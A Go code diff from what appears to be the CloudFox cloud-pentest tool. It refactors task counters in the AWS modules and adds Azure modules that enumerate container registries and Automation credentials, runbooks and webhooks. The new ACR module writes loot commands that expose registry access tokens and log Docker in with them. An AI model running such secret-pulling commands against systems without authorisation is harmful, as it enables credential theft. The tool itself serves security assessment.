@@ -200,21 +200,21 @@ func (m *SecretsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore ch
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("secretsmanager", r)
|
||||
res, err := servicemap.IsServiceInRegion("secrets-manager", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
go m.getSecretsManagerSecretsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
res, err = servicemap.IsServiceInRegion("ssm", r)
|
||||
res, err = servicemap.IsServiceInRegion("systems-manager", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
go m.getSSMParametersPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
@@ -226,7 +226,7 @@ func (m *SecretsModule) writeLoot(outputDirectory string, verbosity int) {
|
||||
err := os.MkdirAll(path, os.ModePerm)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
pullFile := filepath.Join(path, "pull-secrets-commands.txt")
|
||||
|
||||
@@ -249,7 +249,7 @@ func (m *SecretsModule) writeLoot(outputDirectory string, verbosity int) {
|
||||
err = os.WriteFile(pullFile, []byte(out), 0644)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
|
||||
if verbosity > 2 {
|
||||
@@ -266,8 +266,8 @@ func (m *SecretsModule) writeLoot(outputDirectory string, verbosity int) {
|
||||
|
||||
func (m *SecretsModule) getSecretsManagerSecretsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Secret) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -275,9 +275,9 @@ func (m *SecretsModule) getSecretsManagerSecretsPerRegion(r string, wg *sync.Wai
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
// m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
// m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
|
||||
var PaginationControl *string
|
||||
for {
|
||||
@@ -292,7 +292,7 @@ func (m *SecretsModule) getSecretsManagerSecretsPerRegion(r string, wg *sync.Wai
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
@@ -324,8 +324,8 @@ func (m *SecretsModule) getSecretsManagerSecretsPerRegion(r string, wg *sync.Wai
|
||||
|
||||
func (m *SecretsModule) getSSMParametersPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Secret) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -333,9 +333,9 @@ func (m *SecretsModule) getSSMParametersPerRegion(r string, wg *sync.WaitGroup,
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
// m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
// m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
|
||||
var PaginationControl *string
|
||||
|
||||
@@ -351,7 +351,7 @@ func (m *SecretsModule) getSSMParametersPerRegion(r string, wg *sync.WaitGroup,
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
|
||||
+1
-7
@@ -19,7 +19,7 @@ var yellow = color.New(color.FgRed).SprintFunc()
|
||||
var blue = color.New(color.FgBlue).SprintFunc()
|
||||
var magenta = color.New(color.FgMagenta).SprintFunc()
|
||||
var green = color.New(color.FgGreen).SprintFunc()
|
||||
var AWSRegions = []string{"us-east-1", "us-east-2", "us-west-1", "us-west-2", "af-south-1", "ap-east-1", "ap-south-1", "ap-northeast-3", "ap-northeast-2", "ap-southeast-1", "ap-southeast-2", "ap-northeast-1", "ca-central-1", "eu-central-1", "eu-west-1", "eu-west-2", "eu-south-1", "eu-west-3", "eu-north-1", "me-south-1", "sa-east-1"}
|
||||
var AWSRegions = []string{"us-east-1", "us-east-2", "us-west-1", "us-west-2", "af-south-1", "ap-east-1", "ap-south-1", "ap-northeast-3", "ap-northeast-2", "ap-southeast-1", "ap-southeast-2", "ap-northeast-1", "ca-central-1", "eu-central-1", "eu-west-1", "eu-west-2", "eu-south-1", "eu-west-3", "eu-north-1", "sa-east-1"}
|
||||
var sharedLogger = internal.TxtLogger()
|
||||
|
||||
func GetIamSimResult(SkipAdminCheck bool, roleArnPtr *string, iamSimulatorMod IamSimulatorModule, localAdminMap map[string]bool) (string, string) {
|
||||
@@ -54,12 +54,6 @@ func GetIamSimResult(SkipAdminCheck bool, roleArnPtr *string, iamSimulatorMod Ia
|
||||
}
|
||||
}
|
||||
|
||||
if isRoleAdminBool {
|
||||
adminRole = "YES"
|
||||
} else {
|
||||
adminRole = "No"
|
||||
}
|
||||
|
||||
} else {
|
||||
adminRole = "Skipped"
|
||||
canRolePrivEsc = "Skipped"
|
||||
|
||||
+6
-6
@@ -96,7 +96,7 @@ func (m *SNSModule) PrintSNS(outputDirectory string, verbosity int) {
|
||||
|
||||
for _, region := range m.AWSRegions {
|
||||
wg.Add(1)
|
||||
m.CommandCounter.Pending++
|
||||
m.CommandCounter.IncrPending()
|
||||
go m.executeChecks(region, wg, semaphore, dataReceiver)
|
||||
|
||||
}
|
||||
@@ -205,7 +205,7 @@ func (m *SNSModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan s
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
m.getSNSTopicsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
@@ -288,8 +288,8 @@ func (m *SNSModule) writeLoot(outputDirectory string, verbosity int, profile str
|
||||
|
||||
func (m *SNSModule) getSNSTopicsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan SNSTopic) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -308,7 +308,7 @@ func (m *SNSModule) getSNSTopicsPerRegion(r string, wg *sync.WaitGroup, semaphor
|
||||
topic, err := m.getTopicWithAttributes(aws.ToString(t.TopicArn), r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
parsedArn, err := arn.Parse(aws.ToString(t.TopicArn))
|
||||
@@ -427,7 +427,7 @@ func (m *SNSModule) storeAccessPolicy(topic *SNSTopic) {
|
||||
|
||||
if err := m.storeFile(f, topic.PolicyJSON); err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+7
-7
@@ -99,7 +99,7 @@ func (m *SQSModule) PrintSQS(outputDirectory string, verbosity int) {
|
||||
|
||||
for _, region := range m.AWSRegions {
|
||||
wg.Add(1)
|
||||
m.CommandCounter.Pending++
|
||||
m.CommandCounter.IncrPending()
|
||||
go m.executeChecks(region, wg, semaphore, dataReceiver)
|
||||
|
||||
}
|
||||
@@ -207,7 +207,7 @@ func (m *SQSModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan s
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
m.getSQSRecordsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
@@ -287,8 +287,8 @@ func (m *SQSModule) writeLoot(outputDirectory string, verbosity int, profile str
|
||||
|
||||
func (m *SQSModule) getSQSRecordsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Queue) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -301,7 +301,7 @@ func (m *SQSModule) getSQSRecordsPerRegion(r string, wg *sync.WaitGroup, semapho
|
||||
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
|
||||
@@ -309,7 +309,7 @@ func (m *SQSModule) getSQSRecordsPerRegion(r string, wg *sync.WaitGroup, semapho
|
||||
queue, err := m.getQueueWithAttributes(url, r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
@@ -437,7 +437,7 @@ func (m *SQSModule) storeAccessPolicy(queue *Queue) {
|
||||
|
||||
if err := m.storeFile(f, queue.PolicyJSON); err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+6
-6
@@ -88,7 +88,7 @@ func (m *TagsModule) PrintTags(outputDirectory string, verbosity int) {
|
||||
|
||||
for _, region := range m.AWSRegions {
|
||||
wg.Add(1)
|
||||
m.CommandCounter.Pending++
|
||||
m.CommandCounter.IncrPending()
|
||||
go m.executeChecks(region, wg, semaphore, dataReceiver)
|
||||
|
||||
}
|
||||
@@ -246,7 +246,7 @@ func (m *TagsModule) countUniqueResourcesWithTags() int {
|
||||
func (m *TagsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Tag) {
|
||||
defer wg.Done()
|
||||
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
m.getTagsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
@@ -266,8 +266,8 @@ func (m *TagsModule) Receiver(receiver chan Tag, receiverDone chan bool) {
|
||||
|
||||
func (m *TagsModule) getTagsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Tag) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -280,7 +280,7 @@ func (m *TagsModule) getTagsPerRegion(r string, wg *sync.WaitGroup, semaphore ch
|
||||
resources, err := m.getResources(r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
//var parsedArn types.Arn
|
||||
for _, resource := range resources {
|
||||
@@ -337,7 +337,7 @@ func (m *TagsModule) getResources(r string) ([]types.ResourceTagMapping, error)
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return resources, err
|
||||
}
|
||||
|
||||
|
||||
+15
-15
@@ -109,7 +109,7 @@ func (m *WorkloadsModule) PrintWorkloads(outputDirectory string, verbosity int)
|
||||
|
||||
for _, region := range m.AWSRegions {
|
||||
wg.Add(1)
|
||||
m.CommandCounter.Pending++
|
||||
m.CommandCounter.IncrPending()
|
||||
go m.executeChecks(region, wg, semaphore, dataReceiver)
|
||||
|
||||
}
|
||||
@@ -281,14 +281,14 @@ func (m *WorkloadsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
|
||||
res, _ := servicemap.IsServiceInRegion("ec2", r)
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
go m.getEC2WorkloadsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
|
||||
res, _ = servicemap.IsServiceInRegion("ecs", r)
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
go m.getECSWorkloadsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
@@ -298,13 +298,13 @@ func (m *WorkloadsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
go m.getLambdaWorkloadsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
|
||||
// AppRunner is not supported in the aws service region catalog so we have to run it in all regions
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
go m.getAppRunnerWorkloadsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
|
||||
@@ -312,8 +312,8 @@ func (m *WorkloadsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
|
||||
func (m *WorkloadsModule) getEC2WorkloadsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Workload) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -369,8 +369,8 @@ func (m *WorkloadsModule) getEC2WorkloadsPerRegion(r string, wg *sync.WaitGroup,
|
||||
|
||||
func (m *WorkloadsModule) getECSWorkloadsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Workload) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -395,7 +395,7 @@ func (m *WorkloadsModule) getECSWorkloadsPerRegion(r string, wg *sync.WaitGroup,
|
||||
Tasks, err := sdk.CachedECSDescribeTasks(m.ECSClient, aws.ToString(m.Caller.Account), r, cluster, taskARNs)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
|
||||
@@ -424,8 +424,8 @@ func (m *WorkloadsModule) getECSWorkloadsPerRegion(r string, wg *sync.WaitGroup,
|
||||
|
||||
func (m *WorkloadsModule) getLambdaWorkloadsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Workload) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -457,8 +457,8 @@ func (m *WorkloadsModule) getLambdaWorkloadsPerRegion(r string, wg *sync.WaitGro
|
||||
|
||||
func (m *WorkloadsModule) getAppRunnerWorkloadsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Workload) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -543,7 +543,7 @@ func (m *WorkloadsModule) getRolesFromInstanceProfiles() {
|
||||
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
for _, instanceProfile := range ListInstanceProfiles.InstanceProfiles {
|
||||
|
||||
+167
@@ -0,0 +1,167 @@
|
||||
package azure
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/Azure/azure-sdk-for-go/profiles/latest/resources/mgmt/subscriptions"
|
||||
containerregistry "github.com/Azure/azure-sdk-for-go/services/preview/containerregistry/mgmt/2022-02-01-preview/containerregistry"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/smithy-go/ptr"
|
||||
)
|
||||
|
||||
const acrDockerTokenUsername = "00000000-0000-0000-0000-000000000000"
|
||||
|
||||
var getContainerRegistries = getContainerRegistriesOriginal
|
||||
|
||||
func AzACRCommand(AzTenantID, AzSubscription, AzOutputDirectory, Version string, AzVerbosity int, AzWrapTable bool, AzMergedTable bool) error {
|
||||
if AzTenantID != "" && AzSubscription == "" {
|
||||
tenantInfo := populateTenant(AzTenantID)
|
||||
if ptr.ToString(tenantInfo.ID) == "" {
|
||||
return fmt.Errorf("could not find Azure tenant %q", AzTenantID)
|
||||
}
|
||||
if !AzMergedTable {
|
||||
for _, subscription := range GetSubscriptionsPerTenantID(ptr.ToString(tenantInfo.ID)) {
|
||||
if err := runACRCommandForSingleSubscription(ptr.ToString(subscription.SubscriptionID), AzOutputDirectory, AzVerbosity, AzWrapTable, Version); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
azureLogger.InfoM(fmt.Sprintf("Enumerating container registries for tenant %s (%s)", ptr.ToString(tenantInfo.DefaultDomain), ptr.ToString(tenantInfo.ID)), globals.AZ_ACR_MODULE_NAME)
|
||||
|
||||
var body [][]string
|
||||
var loot strings.Builder
|
||||
for _, subscription := range GetSubscriptionsPerTenantID(ptr.ToString(tenantInfo.ID)) {
|
||||
rows, commands, err := getACRData(subscription)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
body = append(body, rows...)
|
||||
loot.WriteString(commands)
|
||||
}
|
||||
writeACROutput(AzOutputDirectory, ptr.ToString(tenantInfo.DefaultDomain), "1-tenant-level", ptr.ToString(tenantInfo.DefaultDomain), body, loot.String(), AzVerbosity, AzWrapTable)
|
||||
return nil
|
||||
}
|
||||
|
||||
if AzTenantID == "" && AzSubscription != "" {
|
||||
return runACRCommandForSingleSubscription(AzSubscription, AzOutputDirectory, AzVerbosity, AzWrapTable, Version)
|
||||
}
|
||||
|
||||
return fmt.Errorf("please specify either --tenant or --subscription")
|
||||
}
|
||||
|
||||
func runACRCommandForSingleSubscription(AzSubscription, AzOutputDirectory string, AzVerbosity int, AzWrapTable bool, Version string) error {
|
||||
subscriptionInfo := PopulateSubsriptionType(AzSubscription)
|
||||
if subscriptionInfo.ID == "" {
|
||||
return fmt.Errorf("could not find Azure subscription %q", AzSubscription)
|
||||
}
|
||||
tenantID := ptr.ToString(GetTenantIDPerSubscription(subscriptionInfo.ID))
|
||||
tenantInfo := populateTenant(tenantID)
|
||||
|
||||
azureLogger.InfoM(fmt.Sprintf("Enumerating container registries for subscription %s (%s)", subscriptionInfo.Name, subscriptionInfo.ID), globals.AZ_ACR_MODULE_NAME)
|
||||
|
||||
var selectedSubscription subscriptions.Subscription
|
||||
for _, subscription := range GetSubscriptions() {
|
||||
if ptr.ToString(subscription.SubscriptionID) == subscriptionInfo.ID {
|
||||
selectedSubscription = subscription
|
||||
break
|
||||
}
|
||||
}
|
||||
rows, loot, err := getACRData(selectedSubscription)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
writeACROutput(AzOutputDirectory, ptr.ToString(tenantInfo.DefaultDomain), subscriptionInfo.Name, subscriptionInfo.Name, rows, loot, AzVerbosity, AzWrapTable)
|
||||
return nil
|
||||
}
|
||||
|
||||
func getACRData(subscription subscriptions.Subscription) ([][]string, string, error) {
|
||||
subscriptionID := ptr.ToString(subscription.SubscriptionID)
|
||||
registries, err := getContainerRegistries(subscriptionID)
|
||||
if err != nil {
|
||||
return nil, "", fmt.Errorf("could not enumerate container registries for subscription %s: %w", subscriptionID, err)
|
||||
}
|
||||
return getACRRelevantData(subscription, registries)
|
||||
}
|
||||
|
||||
func getACRRelevantData(subscription subscriptions.Subscription, registries []containerregistry.Registry) ([][]string, string, error) {
|
||||
var body [][]string
|
||||
var loot strings.Builder
|
||||
subscriptionID := ptr.ToString(subscription.SubscriptionID)
|
||||
subscriptionName := ptr.ToString(subscription.DisplayName)
|
||||
|
||||
for _, registry := range registries {
|
||||
name := ptr.ToString(registry.Name)
|
||||
loginServer := ""
|
||||
anonymousPulls := false
|
||||
if registry.RegistryProperties != nil {
|
||||
loginServer = ptr.ToString(registry.LoginServer)
|
||||
anonymousPulls = ptr.ToBool(registry.AnonymousPullEnabled)
|
||||
}
|
||||
body = append(body, []string{name, subscriptionName, subscriptionID, loginServer, fmt.Sprintf("%t", anonymousPulls)})
|
||||
loot.WriteString(acrLootCommands(name, subscriptionID, loginServer))
|
||||
}
|
||||
|
||||
sort.Slice(body, func(i, j int) bool {
|
||||
if body[i][1] == body[j][1] {
|
||||
return body[i][0] < body[j][0]
|
||||
}
|
||||
return body[i][1] < body[j][1]
|
||||
})
|
||||
return body, loot.String(), nil
|
||||
}
|
||||
|
||||
func acrLootCommands(registryName, subscriptionID, loginServer string) string {
|
||||
if registryName == "" || subscriptionID == "" || loginServer == "" {
|
||||
return ""
|
||||
}
|
||||
return fmt.Sprintf("# %s (%s)\nACR_TOKEN=$(az acr login -n %s --subscription %s --expose-token --output tsv --query accessToken)\nprintf '%%s' \"$ACR_TOKEN\" | docker login %s --username %s --password-stdin\n\n",
|
||||
registryName, loginServer, registryName, subscriptionID, loginServer, acrDockerTokenUsername)
|
||||
}
|
||||
|
||||
func writeACROutput(outputDirectory, tenantDomain, directorySuffix, prefix string, body [][]string, loot string, verbosity int, wrap bool) {
|
||||
o := internal.OutputClient{
|
||||
Verbosity: verbosity,
|
||||
CallingModule: globals.AZ_ACR_MODULE_NAME,
|
||||
PrefixIdentifier: prefix,
|
||||
Table: internal.TableClient{
|
||||
Wrap: wrap,
|
||||
DirectoryName: filepath.Join(outputDirectory, globals.CLOUDFOX_BASE_DIRECTORY, globals.AZ_DIR_BASE, tenantDomain, directorySuffix),
|
||||
},
|
||||
}
|
||||
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
|
||||
Header: []string{"Registry Name", "Subscription Name", "Subscription ID", "Login Server", "Anonymous Pulls"},
|
||||
Body: body,
|
||||
Name: globals.AZ_ACR_MODULE_NAME,
|
||||
})
|
||||
if loot != "" {
|
||||
o.Loot.DirectoryName = filepath.Join(outputDirectory, globals.CLOUDFOX_BASE_DIRECTORY, globals.AZ_DIR_BASE, tenantDomain, directorySuffix, "loot")
|
||||
o.Loot.LootFiles = append(o.Loot.LootFiles, internal.LootFile{Contents: loot, Name: "acr-login-commands"})
|
||||
o.WriteFullOutput(o.Table.TableFiles, o.Loot.LootFiles)
|
||||
} else {
|
||||
o.WriteFullOutput(o.Table.TableFiles, nil)
|
||||
}
|
||||
fmt.Println()
|
||||
}
|
||||
|
||||
func getContainerRegistriesOriginal(subscriptionID string) ([]containerregistry.Registry, error) {
|
||||
client := internal.GetContainerRegistriesClient(subscriptionID)
|
||||
page, err := client.List(context.TODO())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var registries []containerregistry.Registry
|
||||
for page.NotDone() {
|
||||
registries = append(registries, page.Values()...)
|
||||
if err := page.NextWithContext(context.TODO()); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
return registries, nil
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
package azure
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/Azure/azure-sdk-for-go/profiles/latest/resources/mgmt/subscriptions"
|
||||
containerregistry "github.com/Azure/azure-sdk-for-go/services/preview/containerregistry/mgmt/2022-02-01-preview/containerregistry"
|
||||
"github.com/aws/smithy-go/ptr"
|
||||
)
|
||||
|
||||
func TestGetACRRelevantData(t *testing.T) {
|
||||
registries := []containerregistry.Registry{
|
||||
{
|
||||
Name: ptr.String("packnet"),
|
||||
RegistryProperties: &containerregistry.RegistryProperties{
|
||||
LoginServer: ptr.String("packnet.azurecr.io"),
|
||||
AnonymousPullEnabled: ptr.Bool(true),
|
||||
},
|
||||
},
|
||||
}
|
||||
subscription := subscriptions.Subscription{
|
||||
SubscriptionID: ptr.String("8bb4e6f5-be51-4eab-bd68-ecf6fd08338f"),
|
||||
DisplayName: ptr.String("Production"),
|
||||
}
|
||||
|
||||
body, loot, err := getACRRelevantData(subscription, registries)
|
||||
if err != nil {
|
||||
t.Fatalf("getACRRelevantData returned an error: %v", err)
|
||||
}
|
||||
if len(body) != 1 || body[0][0] != "packnet" || body[0][3] != "packnet.azurecr.io" || body[0][4] != "true" {
|
||||
t.Fatalf("unexpected ACR table body: %+v", body)
|
||||
}
|
||||
for _, expected := range []string{
|
||||
"az acr login -n packnet --subscription 8bb4e6f5-be51-4eab-bd68-ecf6fd08338f --expose-token",
|
||||
"docker login packnet.azurecr.io --username " + acrDockerTokenUsername + " --password-stdin",
|
||||
} {
|
||||
if !strings.Contains(loot, expected) {
|
||||
t.Errorf("loot does not contain %q:\n%s", expected, loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,243 @@
|
||||
package azure
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/Azure/azure-sdk-for-go/profiles/latest/automation/mgmt/automation"
|
||||
"github.com/Azure/azure-sdk-for-go/profiles/latest/resources/mgmt/subscriptions"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/smithy-go/ptr"
|
||||
)
|
||||
|
||||
var (
|
||||
getAutomationAccounts = getAutomationAccountsOriginal
|
||||
getAutomationAssets = getAutomationAssetsOriginal
|
||||
)
|
||||
|
||||
type automationAssets struct {
|
||||
Runbooks []automation.Runbook `json:"runbooks"`
|
||||
RunbookSources map[string]string `json:"-"`
|
||||
Credentials []automation.Credential `json:"credentials"`
|
||||
Webhooks []automation.Webhook `json:"webhooks"`
|
||||
}
|
||||
|
||||
type automationLoot struct {
|
||||
Runbooks string
|
||||
Credentials string
|
||||
Webhooks string
|
||||
}
|
||||
|
||||
func AzAutomationCommand(tenantID, subscription, outputDirectory, version string, verbosity int, wrap, merged bool) error {
|
||||
if tenantID != "" && subscription == "" {
|
||||
tenant := populateTenant(tenantID)
|
||||
if ptr.ToString(tenant.ID) == "" {
|
||||
return fmt.Errorf("could not find Azure tenant %q", tenantID)
|
||||
}
|
||||
azureLogger.InfoM(fmt.Sprintf("Enumerating Automation Accounts for tenant %s (%s)", ptr.ToString(tenant.DefaultDomain), ptr.ToString(tenant.ID)), globals.AZ_AUTOMATION_MODULE_NAME)
|
||||
subs := GetSubscriptionsPerTenantID(ptr.ToString(tenant.ID))
|
||||
if !merged {
|
||||
for _, sub := range subs {
|
||||
if err := runAutomationForSubscription(sub, outputDirectory, verbosity, wrap); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
var rows [][]string
|
||||
var loot automationLoot
|
||||
for _, sub := range subs {
|
||||
subRows, subLoot, warnings, err := getAutomationData(sub)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
rows = append(rows, subRows...)
|
||||
loot.Runbooks += subLoot.Runbooks
|
||||
loot.Credentials += subLoot.Credentials
|
||||
loot.Webhooks += subLoot.Webhooks
|
||||
for _, warning := range warnings {
|
||||
azureLogger.WarnM(warning.Error(), globals.AZ_AUTOMATION_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
if len(subs) > 0 {
|
||||
writeAutomationOutput(outputDirectory, ptr.ToString(tenant.DefaultDomain), "1-tenant-level", ptr.ToString(tenant.DefaultDomain), rows, loot, verbosity, wrap)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
if tenantID == "" && subscription != "" {
|
||||
id := ptr.ToString(GetSubscriptionID(subscription))
|
||||
for _, sub := range GetSubscriptions() {
|
||||
if ptr.ToString(sub.SubscriptionID) == id {
|
||||
return runAutomationForSubscription(sub, outputDirectory, verbosity, wrap)
|
||||
}
|
||||
}
|
||||
return fmt.Errorf("could not find Azure subscription %q", subscription)
|
||||
}
|
||||
